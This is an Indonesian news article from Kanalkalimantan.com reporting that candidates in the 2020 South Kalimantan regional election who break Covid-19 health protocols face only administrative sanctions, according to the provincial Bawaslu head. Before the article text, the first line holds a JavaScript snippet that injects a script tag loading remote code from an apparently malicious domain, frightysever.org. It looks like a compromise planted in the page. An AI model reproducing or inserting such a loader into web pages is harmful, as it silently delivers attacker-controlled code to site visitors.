(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Pilgub Kalsel

Kandidat Langgar Protokol Kesehatan, Bawaslu: Hanya Pelanggaran Administrasi Saja


KANALKALIMANTAN.COM, BANJARMASIN – Pelaksanaan Pilkada serentak 2020 dihelat dengan tetap mengedepankan protokol kesehatan. Hal ini dilakukan sebagai konsekuensi digelarnya Pilkada di tengah pandemi Covid-19.
Usai deklarasi dan penandatanganan pakta integritas komitmen protokol kesehatan di Pilkada Kalsel di KPU Provinsi Kalsel pada Kamis (10/9/2020), Ketua Bawaslu Provinsi Kalsel Erna Kaspiyah menuturkan, memang di Undang-undang Nomor 10 Tahun 2016 tidak dicantumkan sanksi bagi bakal pasangan calon (bapaslon) yang melanggar protokol kesehatan.
“Jadi, kalau Bawaslu masuknya itu lebih ke pelanggaran administrasi. Nah, kalau pidananya mungkin ada di perundang-undangan lainnya, misalnya Perda dan Perwali kan ada sanksinya,” kata Erna.
Lalu, untuk penanganan pandemi Covid-19, pihaknya mengacu pada Undang-undang Nomor 4 Tahun 1984 tentang Wabah Penyakit Menular. “Kita mengacu pada perundang-undangan yang ada.
Lalu, siapa yang menanganinya, kita akan serahkan atau rekomendasikan kepada instansi tersebut,” imbuh Erna.
Diakui Erna, berdasarkan pengamatan Bawaslu Provinsi Kalsel, masih ada kandidat belum mematuhi protokol kesehatan atau belum sesuai prosedur protokol kesehatan. Sehingga, masih dalam kajian pihaknya.
“Nantinya kalau memang menjadi pelanggaran terhadap administrasi.
Karena di peraturan pilkada hanya pelanggaran administrasi saja. Tidak ada sanksi pidananya dan diskualifikasi, sehingga akan kita serahkan pada instansi terkait,” terang Erna.
Disinggung imbauan Menteri Dalam Negeri RI yang mengimbau agar tidak terjadi kerumunan massa, Erna mengatakan akan mengkajinya lebih lanjut, apakah ada sanksi terhadap imbauan tersebut. Karena, imbauan tidak memiliki konsekuensi apapun, seperti penjatuhan saksi.
Pihaknya sendiri juga telah membuat imbauan kepada peserta pemilu, untuk saat pendaftaran itu harus mematuhi protokol kesehatan. Hal ini sesuai dengan PKPU Nomor 6 Tahun 2020 yang dikeluarkan oleh KPU RI.
“Kalau tidak ditaati, maka kita juga menemukan bawah ini ada pelanggaran administrasi. Karena tidak ada sanksi yang diatasnya lagi. Maka kami meminta kepada yang bersangkutan, kedepannya untuk menaati peraturan protokol kesehatan ini,” pungkas Erna. (Kanalkalimantan.com/fikri)
Reporter : Fikri
Editor : Cell

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.